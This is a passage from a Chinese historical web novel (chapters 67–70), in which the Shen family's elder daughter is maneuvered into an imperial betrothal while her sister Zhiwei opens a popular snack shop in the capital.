知微也学着念秦的样子耸耸肩,三人上了船。 只是她们虽早到了,但是有位贵女却是迟迟不见人影,最后眼见所有的船只早已开走,那位贵女才慌忙跑上船来。 而且还是刚才在船上惹事的女子,原是迷了路了,幸好遇到了守卫的宫人这才找了回来。 这种蹩脚的理由信的人自是不多,只是不屑同这人计较,上了岸就可以归家了,众人也都是着急回去呢。 返程的时间过得很快,也无人再闹什么幺蛾子。 只是其他公子贵女们都已经下了船,她们却是最后一批了。 知微三人是最先下船的,知微和念秦走在前头,知微接过姐姐手里的花篮,念秦将人扶了下来。 沈知蕴下船之后更是深深的松了口气,提着的一颗心总算是落了下来,明枪易挡暗箭难防,这回落了地了,应是不会再整出什么事端来了。 因在想事情,她便落后了知微她们几步。 知微和念秦正掂着手里的花篮走在前头,知微还小声念叨着她要饿晕了,回家定要吃上一头牛。 却不想后方却传来了啊的一声,待她们回头看的时候便几位贵女跟推塔罗牌似的差点倒地,幸好身旁有宫人扶了一把,这才无事。 只是待知微和念秦回头的时候却发现,沈知蕴身后那人趁着自己踉跄的动作竟猛的推了沈知蕴一把,此时的沈知蕴毫无防备,一下扑到前方来人身上。 知微和念秦伸手的时候已经晚了。 来人已将沈知蕴捞进了怀里,二人抱在一起…… 一时间,所有人都张大了嘴巴。 那位闯祸的女子最先反应过来,咬着唇就想要逃走,却被念秦眼疾手快的给抓住了,然后狠狠的扔在地上。 知微急忙上前去抢姐姐,却听一声高亢的皇上驾到,沈知蕴已经反应过来,猛的推开了三皇子,红着眼狠狠的瞪了对方一眼,咬着牙跪了下去。 天底下怎么能有这么巧的事情呢。 皇帝议事后带着几位大臣正好经过此地,恰巧看到了刚才沈知蕴被三皇子抱了满怀的情景,皇帝干笑两声,毕竟是自己最不学无术的儿子抱的人家姑娘,他面上还是有些尴尬的。 皇帝摆摆手叫众人起身。 而皇帝身后的沈鸿已是气极。 他这才明白过来,今日这宴会针对不是小女儿,是大女儿才对啊! 却见三皇子又膝盖一弯,重重的跪地对皇帝道,自己对沈知蕴一见钟情,今日已有了肌肤之亲,他要对沈知蕴负责。 一声响亮的“请父皇赐婚”更是叫沈父气红了眼。 知微气急,忙要上前找皇帝说理,却被念秦给拉住了。 念秦冲她摇了摇头,示意她不要冲动。 皇帝尴尬虽尴尬,但是到底是自己亲生儿子,思趁片刻后,当着众多世家公子贵女还有他身后的几位大臣的面,笑呵呵的同沈鸿道:“不知沈爱卿是否能成全三皇子啊,朕瞧着,这是郎才女貌,很是般配啊!” 这话也不知皇帝是怎么说的出口的,郎才女貌?有大臣嘴角抽了抽,心说幸好自家女儿还小,不必遭这趟浑水。 皇帝的话虽是商量的话,但是语气却是不容置喙的语气。 沈鸿深吸吸口气,径直跪了下来,他满脑子都是女儿从出生到长大的画面,尤其自小女儿丢失后,不到十岁的大女儿又照顾母亲又一人担起府中事务的模样,一时间身体已是气到颤抖。 他垂首,恭敬的朝陛下行大礼,颤声道:“小女知蕴,貌丑无颜,配三皇子却为高攀,请陛下。” 他话还没讲完,却听沈知蕴高声打断了他,“陛下,父亲,知蕴倾慕三皇子已久,知蕴愿意嫁与三皇子!” 沈鸿震惊的望向大女儿,知微也早已跪在姐姐身后,望着姐姐,眼泪大颗大颗掉了下来。 伴君如伴虎,为了爹爹和兄长的仕途,一家人的性命,这亲事,姐姐今日必须应下。 即使爹爹辞官,今日这事情也已改变不了。 今日这亏,他们沈家必须咽了。” 三皇子跟皇帝彼此递了个心照不宣的眼神,转而恭敬的朝沈鸿道:“还请沈大人放心,若瑾知晓大人家风清正,在此安若瑾当着众人的面以祖宗之名起誓,愿与沈家知蕴一生一世一双人,此生绝无二心,绝不纳妾!” 这一句话,如平地惊雷,将围观的众人直接震惊住了。 这,皇子允诺绝不纳妾,这是多大的魄力啊,要知道,三皇子乃正经嫡出,是最有机会登上皇位的!若是沈知蕴能生还好,若是不能生,这,这皇家血脉可就断了啊! 一句话,叫皇帝彻底黑了脸! 臭小子敢拿祖宗之名起誓!他安家一众祖宗皇帝的威名是来给你讨好你老丈人的吗! 匆忙返回来的郑皇后听了这话一张脸更是五彩斑斓的,好你个安若瑾,为了得到沈鸿的支持,竟然跟本宫玩这套!难怪游湖一事安排的这么积极呢!原来是在这等着的! 郑皇后见皇帝脸色不好,急忙劝慰,“陛下,三皇子是一时冲动了,您莫要生气,此事关系皇家子嗣,还是商议之后再做定论不迟。” 皇帝却摆摆手,行至三儿子身前,重重的踢了他一脚,道:“你决定了?” 安若瑾也不生气,身板跪的笔直,斩钉截铁道:“是,儿臣决定了!” 皇帝叹了口气,儿子的面子还得给,毕竟这也是父子俩提前商量好的。 皇帝思趁道:“沈爱卿起身吧,朕这三儿执拗,既话都说出去了,自是不能收回,不过。” 皇帝亲手将沈鸿扶了起来,叹了口气,“不过,这皇家血脉,自是不能当做儿戏,不若待瑾儿三十岁时,若还无子嗣延续,到时候朕再亲自为其纳妾,不知沈爱卿认为可否啊?” 沈鸿拳头攥的紧紧的,也知今日这事是没有转圜的余地了,他收敛了面上的表情,躬身道:“臣无异议,只求三皇子能够全心全意对待小女!” 一句话,道出了老父亲的无尽酸楚…… 郑皇后刚想开口再劝两句,却听皇帝直接开口,“如此,朕这便赐婚,朕三子安若瑾同沈爱卿之女沈知蕴佳偶天成郎才女貌,此番缔结良缘,定又是京中一桩美谈啊!” 说完皇帝大笑几声,似乎还看了知微两眼,点了点头,这才带着众位大臣走了。 第68章   待到一行人归家,圣旨也到了。沈鸿猜的不错,圣旨是皇帝早 待到一行人归家,圣旨也到了。 沈鸿猜的不错,圣旨是皇帝早就拟好的,连聘礼也一并送了过来。 当真是司马昭之心。 归家时车厢内,红叶看强忍着怒气的两姐妹叹了口气,有些事情,她也无可奈何。 便实话实说道:“这事情确实是皇家做的不地道,但是安若瑾的名声极臭,直接求娶,沈尚书怕是会直接辞官,他应是思虑许久才出此下策,不过,太后和陛下确实都是知情的。” “我在宫外时,只得了信叫我今日去陪陪太后,对于今日设局之事确实不清楚的,不然也不会叫念秦一直陪着你们姐妹。” 红叶继续道:“陛下不光是属意你做儿媳,知微和珏哥儿的事情,陛下也是惦记着的,陛下同沈尚书也已提过,被沈尚书给拒了,陛下不光是被三皇子缠的烦了,应也是想给沈尚书一些教训,今日才会配合做这一出戏来的。” “不过陛下对沈尚书一向重用,升官的旨意也应该已经拟好了,明日上朝应该就……” 几句话,叫姐妹俩彻底寒了心。 圣旨是安若瑾亲自去颁的。 沈父刚回府,他便带着圣旨来了。 虽他姿态摆的极低,言词也恳切,沈父也没有给他一个好脸色。 但他脸皮厚,丝毫不觉,更是笑意盈盈的叫人将聘礼直接抬进府来。 饶是见多了大场面了,众人也是被惊的说不出话来。 高氏被气到差点晕厥过去,王氏和知微将人扶住,小心的安抚着。 沈知蕴接了圣旨,望着安若瑾露出的门牙,很想一拳给打飞了。 安若瑾一点也没有被下脸子的自觉,他如一条癞皮狗般讨好的围着沈知蕴。 皇家的聘礼自是非比寻常,为表重视,安若瑾恨不得将自己的库房都搬过来,此番已是收敛了。 聘礼一共68抬,一波一波的抬到第二天早晨才算停下。 一夜过后依旧气闷的沈鸿看着满院子的聘礼,衣袖一甩便直接上朝去了。 知微见满院子塞不下的笼箱没忍住叹了口气,得亏夜里没下雨,这要是被雨淋了,沈家估计会因大不敬之罪完蛋。 她忙叫人整理出空闲的院子做仓库使用,才不至于叫这皇家聘礼又在烈日下暴晒。 这两日京中闹传的沸沸扬扬的大事,一是三皇子同沈知蕴的婚事,有感叹沈知蕴命好的,有可惜嫁了三皇子的,一时间,倒是没人提知微做过安定侯妾室的事情。 二嘛,便是沈鸿又升官了。 一早上朝时皇帝便升了沈鸿的官,正二品的尚书令,统领六部。 要知道,这尚书令的职位已空缺多年,而今陛下将沈大人又提拔上去,可见对这位亲家的看中。 连跳两级,中间的从二品都省了。 这些都是外头的新闻,沈家的热闹,除了流水似的皇家聘礼,还有一件令人震惊的大事,姜恒走了。 不是搬出府了,是走了,离开了。 留了书信,离开了京都,去了边塞。 那日的听到圣旨内容,姜恒像是被人敲了脑壳,他呆愣的跪在地上,圣旨宣读完毕很久,他也还是傻的。 高淮阳兄妹眼看这人不动,怕安若瑾怪罪,忙将人扶了起来,只看见姜恒的眼球似是充了血,拳头攥的死死的,青筋暴起,仿佛一头暴怒的狮子。 可是没用的,再怎么狂暴都没用的,那是皇家。君要臣死臣都不能不死,何况这边只是定了尚未谈婚论嫁的女子呢。 连抢都算不上。 沈知晖怕他生事,眼疾手快一个手刀将人给劈晕,跟高淮阳二人合力将人给拖回了房中。 这两日,沈家人可谓是愁云惨雾,谁也没想到,在沈知蕴院前站了一夜的姜恒,一早便走了。 自家养大的孩子,怎么能不担心呢。 姜恒只留下了一封勿念的书信。 还有一支,雕工不怎么好的玉簪…… 知微愁啊。 这叫什么事啊。 心里更是将皇帝老儿给骂了一百万遍!狗皇帝!不止惦记姐姐做儿媳,还惦记自己呢! 知微不解,纵使皇家看中了沈知蕴做儿媳,大可以光明正大的求娶,如今这般事态,沈知蕴心里能舒服的嫁给三皇子就怪了。 不光如此,姜恒一走,沈知蕴同三皇子之间的疙瘩,怕是再也解不开了。 知微无奈,只得去哄完这个,再去安抚那个。 娘亲被气倒了,姐姐面上虽看不出来,但是这几日话却是极少的。 白日不算,她这几夜都是宿在沈知蕴房里,姐俩一起睡的。 总算是等二人都好了些,圣旨又到了。 婚期定了,钦天监算的日子,腊月初八这一日,是为黄道吉日,宜嫁娶。 众人也算是松了一口气的。 还好还有九个月的时间准备和接受,叫人心里也能舒服一些。 待家人的心情都调整过来,或者说沈家人认命了之后,知微便开始忙自己的事情来。 沈知蕴整日眉头紧皱,心里似乎还有些什么事,她不说,知微也没强求知道。 翠儿知道皇帝惦记着赐婚知微和顾铭珏之后,便更加勤奋刻苦的练功了,翠儿的进步很快,她能吃苦,力气又大,是个练武的好苗子,知微很是欣慰。 有了上次的经验,知微的第二家面馆很快便开业了。 不光如此,她也已经写了详细的小食铺子计划,已经差人给红叶送去了。 这些日子,她属实也是忙的很。 最近宋言澈心情极好,不光是升了正六品的户部主事。 知微的第二家面馆就开在他住的巷口,非常之近。 他近些日子也是每日都能见到知微,知微同他虽还是淡淡的,却也不刻意避开他了,他见知微整日虽忙忙碌碌,但是眉眼却是开心的,也便放下了心来。 另一边,红叶自顾铭珏走后,便经常住在侯府。 今日她刚一至侯府便听管家说顾青禾正在闹绝食,不光如此,还将丫鬟送去的饭菜全部砸到地上。 红叶冷笑,直接差了几个女侍将人绑了。 浪费粮食?绝食? 很好! 那便叫她好好去乡下享受享受吃不饱饭的滋味! 红叶可不惯着她,顾铭珏只是将她拘在院子里,无非就是怕祖母再闹起来,如今顾铭珏暨将侯府全权委托给她,那她便真刀真枪的干了。 她可不是惯孩子家长,早已不爽顾青禾多年,珏哥儿叫她来,怕是也存了用她的手教训顾青禾的意思。 哼,她直接将人绑了差人护送到了乡下,一路上滴水未给,一天之后才到了一处破烂不堪的小院。 一床被褥,两件麻衣,一袋种子,一些糙米粗面,在保证顾青禾饿不死的情况下,尽可能的叫她自给自足。 想回京?你先能搞清楚自己在哪个山沟沟里再说吧。 孩子不听话?多半是惯的! 吃点苦就好了。 留下了几人在暗地里看护,又嘱咐了四周庄邻村长一声,红叶的人原路返回。 红叶才不管顾青禾是不是哭天抢地能不能听话或者会不会受欺负呢,顾青禾欺负了别人那么多年,被人欺负欺负,也是可以的。 人吗,只要饿不死,总能爬起来的。 没见过人间疾苦? 没吃过苦? 那便叫你一次性见识个够!也吃个够! 待一年之后老祖宗差人来接时,已经看不见从前那个嚣张跋扈大小姐的影子了。 变成了的,是斤斤计较十分泼辣善谈的小村姑。 顾青禾彻底的被掰直了。甚至掰的有点过头。 当然了,此都为后话,以后再提。 安排顾青禾的事情之后红叶便来了老祖宗院子。 毕竟惩治了人家孙子,还得告知人家一声不是,她可不是顾铭珏,整日便惯着老太太,该说的她还是要说的。 不料谢老太听她说完顾青禾一事,竟然没什么异议,只深深叹息,半晌才道:“这孩子的性子,确实该磨磨,怪我这些年放任她不管,才会,哎……” 红叶无奈,您说您这什么都知道,还由她跟着李月清不学好,早这样不就好了吗。 但她没说出口,老太太的面子,还是要给一些的,毕竟年纪大了。 红叶低头喝茶,却听谢老太开口问道:“听说,知蕴定给三皇子了?” 红叶嗯了一声,将杯子放下道:“您不是还惦记着让她当您孙媳妇儿吧?不说前头那件事,这位可是被三皇子惦记了许久了,使了计才逼着皇帝赐的婚,沈大人可是老大不愿意呢。” 红叶伸手拿了块点心, “为了安抚沈*鸿,陛下早早的拟了旨,升了沈大人的职,正二品的尚书令,统领六部,沈大人与丞相只一步之遥了,沈家可谓是皇恩正盛啊。” 说完便咬了口手中糕点,太甜,不如知微做的好吃。 谢老太却是皱着眉头,久久都没有言语。 红叶知道,除了可惜,老人家多半也是想到知微了。 于是,她便问了一个她想不明白也早就想问看老太太的问题。 她将糕点放入盘中,正色道:“祖母,红叶有个问题一直不解,今日便大胆的问出来了。” “红叶一直不明白,为何您会忌惮皇后,放任李月清在府里作威作福,甚至教养顾青禾呢?” 谢老太转着佛珠,面上的表情带着悲怆, “红儿啊,老婆子今年马上70岁了,说句不好听的,叫一句老不死的也不为过,老婆子怕什么?怕的定不是自己这条命,老婆子啊,怕的是守不住顾家剩的这点血脉……” 谢老太目光混浊,眼睛里盛满了过往的痛苦回忆,“老婆子,亲手送走了丈夫,送走了儿子儿媳,送走了孙子,又拿丹书铁券才换了我小孙儿的一条命,我安定侯府满门忠烈!可却只剩下我那十六岁的孙儿和我一个老婆子!我恨啊!我怕啊!我怕顾家……” 谢老太声音暗哑,直叫自己流下泪来。 老祖宗没明说,但是秦红叶知道,她怕的是顾家会同她秦家一样,死光了…… 只剩她一人,弧度在世。 老祖宗脸上的泪也已风干了,她脸上的皱纹似一道道被岁月无情留下的沟壑,充满了风霜的痕迹。 好半晌,她才缓缓道:“我确实一早就知道李月清是皇后的眼线,李月清在崔氏(前侯夫人)手底下搞的那些小动作我也都一清二楚,只是除掉她,皇后还会送别的人进来,还不如将李月清留下了,至少她是对珏哥儿是有些真情在的,自不会害他。至于皇后,我是不会同护国公府直接对上的。咱们武将世家,死的人太多太多了,留下的人最便怕剩下的人都死了。” “红儿啊,你觉得陛下这些年是重用珏儿吗?可是在我眼里,珏儿常年在外奔波,一年里多半时间都在外头,有多少祸事是我所不知道的?有多少危险是会要命的?呵,我老婆子啊,能忍的全都忍了,我只是想叫珏儿的麻烦少一些,活的长远一些罢了……” 老太太深深叹了口气,言谈间已是满脸的疲累。 红叶虽然不赞同老太太的方法,却是理解了老太太。 她也只是一个为了孙儿性命着想的祖母罢了,说一千道一万,她年纪大了,想不明白其中的弯弯绕绕,只想用自己的方法来保全整个侯府。 她是不知道护国公府同顾秦两家的龌龊吗? 她知道的,她也猜疑过,她甚至查证过。 她只是不想挑明了罢了。 如今护国公府势大,她只是在用她自己的方法来保护她的子孙后代…… 谢老太闭上了眼睛,继续道:“这一府上的老老小小,还得指望着他呢,至于青禾,青禾没娘亲,从小就甚少同人亲近,我便也放任了李月清她故意讨好接近青禾,她成功了,对青禾也不错,青禾有人陪伴,这便足够了。李月清想要的,不过是借青禾的手管家罢了,无所谓,给她就是了,这后院老婆子还能控制的住,翻不了天去。只是,我没想到,却是害了,那个小丫头……” “是我对不住她啊,如今她回到沈府,是她的福报。” 红叶叹了口气,老太太这话说的违心啊!这个福报给您要不要啊? 不过她却明白了,老太太也算是利用了顾青禾,所以顾青禾作妖,她也总是最大限度的容忍着。 至于顾铭珏,对于李月清教养顾青禾一事,自是有意为之的,他本就对顾青禾厌恶至极,在他心里,只有珞安是顾家的血脉,顾青禾吗,贱婢生的而已。 而对于李月清,顾铭珏也是将计就计,皇后要找那件东西,那便叫李月清找吧,在他眼皮子底下,也翻不出什么风浪来。 只是出现了意外,知微便是那个意外。 这一场谈话,持续了很长的时间,红叶理解了老太太,老太太也吐露了很多心声,直到月亮升起,都没有结束。 只是没隔两日,谢老太却在红叶不在的时候,突然上了沈府的门,待红叶得到消息的时候,已经晚了…… 第69章 谢老太是真心至沈府道歉的。只是这真心有几分就不知了。她…… 谢老太是真心至沈府道歉的。 只是这真心有几分就不知了。 她这做法也实在糊涂,全然不见从前侯门贵妇的英姿。 她那么大的年纪了,独自上门同小辈致歉,是将沈家的颜面置于何地? 说他沈鸿仗着陛下的圣恩,仗着长女是皇子正妃,仗势欺人? 欺负的还是为大兴倾覆了几代人性命的安定侯府,将门遗妇? 也亏的沈府众人知礼,一见是老太太亲自上门,沈府的管家连哏都没打,恭恭敬敬的将老太太请进府内。 老太太也未曾命人提前递帖子。 管家深知其中的厉害,便自作主张的先将人请了进去。 倒是有些不巧。 彼时高氏喝了药刚睡下了,沈知蕴得了信,眸子沉了沉,叫人去请小舅母,便起身去了正厅。 谢老太表明来意,还带了不少的礼物,言辞恳切,表示自己从前对知微是有些偏见,知微在侯府也受了不少委屈,此番便是来道歉的。 可惜了,舅母和沈知蕴都是人精,哪能听不出老太太话里的意思,无非就是表示自己已经接受了知微做孙媳了,叫知微不要端着,我老太太都亲自来了,你们沈府便顺路下坡了吧。 不得不说,这确实倚老卖老了。 他孙儿的脸面是一点不顾的,或者压根没考虑过顾铭珏的感受,只觉得我今日只要是道了歉,从前的事情便一笔勾销了。 最后舅母做主将礼物收下,表明了心意他们已经接受,旁的舅母是一句都不多说的。 沈知蕴又以小辈的身份亲自将人送了回去。 沈知蕴光明正大的将侯府老太君送回府上之事,自是很多人都看见了。 她沈府身正不怕影子歪,在礼貌上没有人能挑出错来。 这刚出沈府没几步,红叶便急匆匆的赶了过来。 红叶一路上不知叹了多少的气,她劝了一晚上,老太太是一句都没听进去啊,儿孙自有儿孙福,沈府哪是这么好糊弄的,年纪大并不是别人原谅你的理由,真诚才是。 道个歉就叫真诚了? 沈大人本就在风口浪尖上,她这么一闹,京中不定又开始说些什么了。 且,感情是他二人之间的事。 已经是门当户对,且前头也有些感情,顾铭珏结束皇帝交办的差事回来以后,大可以光明正大的将人追回来。 老太太这样一搞,沈家人和知微只会更加厌烦这安定侯府了。 自此一事,红叶便更加小心,差了人白天夜里的将老太太院子给看管起来,省得再惹出什么麻烦事。 也就是两家的交情非常人可比,谢老太对红叶也有养育之恩,这要换个别人,红叶早就将人弄死了事。 但此时在有心之人眼里,多年不出府的老侯夫人亲登了沈府,沈二姑娘曾做过他安定侯府妾室的话题在一瞬之间便又被提了起来。 传言自是先肯定了沈府找回的二小姐做过妾室一事,并出言讥讽,沈鸿堂堂二品大员,竟然有如此不洁之女,不浸猪笼就罢了,竟让还正大光明的带回去,实在有辱门楣。 还有说沈大人如今已是二品大员,他安定侯府却日渐式微,如今连老夫人都要去讨好他沈鸿了,当初定是安定侯是强纳了人家沈家二小姐做的妾室啊,谢老夫人亲自上门,估计是为了求沈大人将此事揭过,放他侯府一把。 也有传闻说这谢老夫人是亲自上门提亲的,毕竟沈二小姐如今除了安定侯定是没人会要的,如此抬做正室,也算是全了沈大人的面子。 总之就是,当沈老夫人踏入沈府大门的那一刻起,知微便被推到了风口浪尖上。 知微自是不知道这事的。 即使知道了,她也只会挑挑眉,冷笑一声,道一句无所谓,传呗,她又不会掉块肉。 谢老太去的那日,她刚定下了新店的铺子,从前是一处三层的酒楼,两间屋子,铺面并不大,但是却有个超大的后院,对她来说,是个很好的选择。 她直接将铺子给买了下来,眼皮都没眨一下。 无它。 实在是自己现在太有了,买两间铺子,对她来说是洒洒水而已。 工人按照她的意思,正在紧锣密鼓的装修,她这边正被尘土蹭的有些灰头土脸的,刚一上车打算回府上洗洗换身衣服,便听急匆匆赶来的月痕低声来禀,安定侯府老祖宗去了咱们府上,说要亲自给您道歉,大小姐叫奴婢拦着您,暂时先不要回府。 知微只鼓了鼓脸颊,嗯了一声便上了马车。忙忙碌碌的,充实是充实,却也叫她有些累,那便先不回府休息了。 车内有备用的衣裙,罢了,去面馆算算账去吧,面馆开了这么长时间,也该给众人些奖励才是。 她是十分不想见谢老太的。 从前的种种讨好都已成了过眼烟云,已经随风飘散了。 她现在行得正坐的直,你府上是满门忠烈,我沈家也是大兴肱骨,真要对上了,谁也没带怕的。 知微也猜到此番外头定是不知将自己传成了什么样子,她反正是无所谓,只专心的做自己的事情。 红叶还叫念秦专门来了一趟,叫她不用理顾府的老太太,人是已经老糊涂了,净做给顾铭珏丢脸的事情。 知微一点也没放在心上,她一心在折腾小吃,见念秦来了,便将人带到了还未装修好的小吃店后院,亲手做了几样小吃出来,叫念秦吃的眼睛一亮一亮的。 又半月后,尘埃落定,外头的传言也渐渐停息,病愈的聂斐然才终于急匆匆的赶了回来。 他这病需静心,静气,每日还需泡上两个时辰的药浴。 梅神医带他住在温泉庄子,已二十余天,今日也算是大功告成了。 聂斐然再好好休养一些时日,便可同旁人一样结婚生子,长命百岁了。 如今,也算是个正常人了。 聂斐然在路上了解了这些时日以来发生的事情,面色沉的厉害,在听到皇帝还有心思促成知微同那安定侯的婚事的时候,眉心更是猛跳。 不行,还得想个法子断了顾铭珏的这个念想才是! 哼,人他杀不了也不能杀,但是使点绊子什么的,他还是有这个能力的。 而此时正要赶往江南的顾铭珏,看着马前又一位拦路的貌美女子,忍不住皱了皱眉。 他这两日总是烦闷的很,越是赶着走,越有人拦路,于是一鞭子抽了上去,一点也没有怜香惜玉的意思。 人群自动闪开,顾铭珏看也不看一边的受伤的女子,策马迅速离开。 梅神医一蹦跶便下了马车,闷头便往府内跑去,这二十多天,可给他累坏了,他需得喝口小酒,再睡个天荒地老,小厮忙不迭的跟在后头小跑着一句一个您老慢点慢点。 聂斐然一听知微并不在府上,也没进府,风尘仆仆的就去了知微所在的新铺子。 彼时的小吃店已经装修完成了。 聂斐然来的非常之巧,沈家人除了上值的沈鸿和沈知晖,高氏一行都在此。 一同的还有红叶,念秦,香云并几名侍女。 知微身上系着围裙,一身半旧藕粉色衣裙,不施粉黛,头上只斜插了只木簪,头发被头巾包裹着,一副农女的打扮。 她鼻尖上还带着细密的汗珠,手里拿着个扁扁的铲子在一块铁板上翻飞,铁板上传来的香气已经让众人一脸的陶醉。 待聂斐然走近,知微已收了手,将做好的食物盛在盘中递给众人品尝。 她并未注意聂斐然的到来,又移步到了一口大锅旁,一打开锅盖,顿时满院子的肉香。 之间知微拿了些肉菜直接扔进了大锅里,不多时便烫熟了。 再盛进大海碗,她手速极快的给调了味道,又给拌匀,才叫人将大海碗端到桌上。 她这才注意到了聂斐然。 果然神医不是白叫的。 如今的聂斐然虽还是那副瘦弱的身子,但起色却是好多了,仿佛是仙人下凡染了桃花,一张脸如今已是白里透红的了。 已然是个健康的人了。 她笑着同聂斐然打招呼,阳光下的她仿佛被渡上了一层金粉,此时的她眉眼弯弯,樱唇微张,因为忙碌而细密的汗珠自白皙透亮的脸颊慢慢滑落,未施粉黛却是艳若桃李,是聂斐然从未见过的模样,美的叫聂斐然只觉自己呼吸都停滞了几分。 知微并不在意他的眼神,问清了现在聂斐然的忌口,她又按照众人喜好的蔬菜和肉类重新烫了几碗,一旁的厨师也很快将各种炸串给炸了出来。 众人沐浴四月温暖的阳光下,围坐在几张木桌旁,每个人手边都有自己喜欢的饮品,桌上也摆满了各色小吃。 铁板豆腐,特色铁板烧,上面撒了满满一层秘制调料的炸串炸肉炸鸡,连炸薯条也是有的,虽然没有番茄酱,但是酸甜的酱汁也是搭配的极好。 虽然麻辣烫没有辣椒,但她用茱萸简单调了辣味,也算是有些滋味,知微用各种大料炖煮的大骨汤,加上香喷喷的麻将和自己颇费了一番功夫折腾出来的鲜菇和鲜虾粉,并各种调味料,这一口麻辣烫下去,可谓是麻辣鲜香,叫人身心舒畅了。 不光如此,为了增加小吃店的特色,她还准备找梅神医研制几种药膳方子,准备之后推出更多的新品。 小吃店一并推出的品种还有炒面,炒饭,煎饼果子。 二楼三楼还有专门为贵人们专设的雅间和各种蒸点。 最近的沈家众人和红叶等人,可谓是大饱口福。 红叶更是觉得自己同知微合作,算是占了大便宜,她的钱袋子可是又要鼓上一鼓了。 她的事业版图,这次可真的要开遍大江南北了。 于是红叶也是亲自训练店里的人手。 她从自己人手里挑选了几个不错的,又买了一些人,紧锣密鼓的训练着。 至于厨师。 也是红叶带来的,一批签了卖身契的男人和女人。 年纪有大有小,最大的不会超过四十岁,皆是手里有些厨艺在的。 知微知道红叶的意思,便又在这批人里面挑选了些不错的着手训练。 知微没打算动用面馆的人手,一码归一码,这边的店铺她只在后厨上用力,其余的,她相信红叶姐姐比她做的要好。 她们之间的合作,就是你做你的,我做我的,咱们彼此信任,并不过多打扰,这就够了。 一切都在如火如荼,紧锣密鼓的进行着。 终于,芳菲四月下旬的某一日,小吃铺子开业了。 名为美味斋。 红叶的手段,美味斋开业自是十分高调且隆重。 只是她们都在高处观察着,谁也没主动露面。 旁人虽不知这美味斋的东家是谁,但是最近这每日路过都能闻到其中传来的香味,住在附近的,或是每日路过的众人自是好奇的不得了。 至开业前三日众人被塞了宣传单页才知晓这是间美食铺子,小吃繁多, 且开业大吉,买一送一,限时三日,先到先得。 于是这边剪裁刚结束,舞狮正舞的起劲呢,那边的众人已经纷纷踏进了店面,在一水的训练有素的帅气小哥哥漂亮小姐姐的介绍下,购买自己想吃的东西。 只是转了一圈下来,不少人的手里已经满了,无他,看起来都好吃啊,没法割舍,便都买了! 郑馨儿一直派人监视着沈家姐妹的动向,知微整日泡在这店铺之事,郑馨儿是一清二楚的。 她却忽略了时不时出现的秦红叶,只当秦红叶是去顽的,毕竟这地契上是知微的名字。 她只以为这铺子是沈家人开的,如今好不容易等到铺子开业,自是要闹出些热闹才是。 第70章 小吃铺子开门那日,郑馨儿先是差了一群流氓过来生事。知微一早便有 美味斋开门那日,郑馨儿先是差了一群流氓过来生事。 可惜没成。 红叶低调不露面,但是经验丰富。 早有准备,叫人打点了附近巡街的官差,轮流在附近巡逻,流氓们一直没找到机会寻过来。 郑馨儿一计不成,又使一计。 自己不屑去这种小店,于是指使几个小跟班进了铺子。 彼时铺子的生意是如火如荼,热闹非凡。 因为来的着急,几位女娘已经耽搁了用膳的时间,在外头那食物的香气还没那么浓烈,这一进来。 好家伙,几种美食的香气直扑进鼻腔,七分饿变成了十分,勾的人肚皮咕噜噜的叫了起来。 郑馨儿的小姐妹们虽然也跋扈,但人嘛,总得先安抚下五脏庙。 不吃饱,哪有力气找茬呢。 她们也仅仅是几个十四五岁的姑娘,最小的只有十三岁,面对这新鲜稀奇的小吃,不可避免的会被吸引。 已然忘了刚才自己嘴中贱民的吃食。 知微今日做男装打扮,听念秦说了几位的身份只淡笑着吩咐几名女工按照平日里培训的服务贵女的程序来招待几人。 无需特别照顾。 店里小二是十男十女,皆是知微和红叶一同挑选的。 男子便不必说了,机灵,会说话,手脚利索。 女子嘛,除了胆大心细,还需要会些拳脚功夫,不会功夫的如今也在每日晨练时学上一些防身之术。 一般情况下女子是服务女客的,但也有男子忙不开的情况,若是女子服务男客的时候,有嘴贱的动手动脚的,她们的原则就是能全身而退就全身而退,不能的,那便揍的他爹娘都不认识。 所以店铺里的女小二年纪大多十五到二十岁的年纪,都是红叶买来的。 另外还有一批,已经在训练中了。 买人,自是一劳永逸的办法。 但是到了地方之后,她们会实行雇佣的模式。 如今挑选出来的算是要下放的,是打算重用的,也算是个中的精英。 言归正传。 郑馨儿只知道这铺子的东家跟沈知微有不同寻常的关系,却是不知另一位东家是秦红叶。 女侍将几人带至楼上之后,便拿出了菜单供几位挑选。 一并说明了二楼所需收的费用。 包间使用费,茶位费可以按人,也可以单点,除了一楼的小吃可以点,二楼还可以点一些茶点。 这里的茶点有些像广东的早茶,是一些虾饺,灌汤包,奶黄包之类的。 一册的菜单都是写实派画出来的,那是十分馋人,叫几人看的眼花缭乱的,早就忘了今日所来的目的了。 待菜品一道一道摆了上来,几人自开始吃,便无人说话了。 一位贵女好奇点的凤爪,待小二掀开盖子,她看清了里头的食物,不就是鸡爪吗。 但是一股肉香的扑面而来,叫她忍不住咽了咽口水。 女侍笑着介绍道:“此为本店秘制的蜜汁凤爪,小姐尝尝,软烂脱骨,带着甜香,一口咬下去,舌头都要香掉了。” 众人眼里也满是好奇,一脸期待的看着此贵女,还有人催促道,哎呀敏姐姐,快尝尝呀。 可平日里,在府上她们这些贵女是从不屑啃鸡爪的,太不文雅了,如今,如今,竟在这店里高价买了一盘。郑敏儿听着催促,索性眼睛一闭尝试着咬了一口鸡爪,咦…… 她一口下去,竟然毫不费力的将鸡爪给咬掉了,然后在嘴中一抿,鸡爪上的肉便掉了下来,软软糯糯鲜香的味道叫她欲罢不能。 不多会,一只鸡脚就别她啃光了,她还有些意犹未尽…… 她对众人评价道:“嗯,很好吃,甜甜的,很好脱骨,吃起来并不费事,几位妹妹也都尝尝。” 转过头又对侍女吩咐道再上两份,一份只四五个鸡脚,她们几人定是不够吃的。 说完便给小妹郑蜜儿也夹了一个过去,叫她尝尝。 她们是护国公府的庶女,平日唯嫡长女郑馨儿马首是瞻,今日本是极不情愿出来生事的,如今倒是因此饱了口福了。 叫另一位贵女惊呼的则是店里的茶饮,竟然一股的奶香,还甜甜的还和着花香,十分好喝。 等到一行人吃饱喝足出门的时候,早就忘了今日来的目的了,还都有些意犹未尽呢。 菜单上的美食她们才解锁了一点点,侍女说陆续还会上新夏日的果茶和甜品,她们就更加期待了。 不管回去郑馨儿会不会发怒,反正因为今日郑馨儿的误打误撞,美味斋也算是在京城的贵女中打开了门路。 几位姑娘虽是郑馨儿的跟班,但也都是活泼开朗的小女娘,得了新鲜的有趣的自是要同人分享一番的。 于是,每日都有不少的贵女亲自上门,当然了,脸皮薄的也会差了下人来买回家去。 总之,美味斋的生意是蒸蒸日上,名气渐渐传播出去。 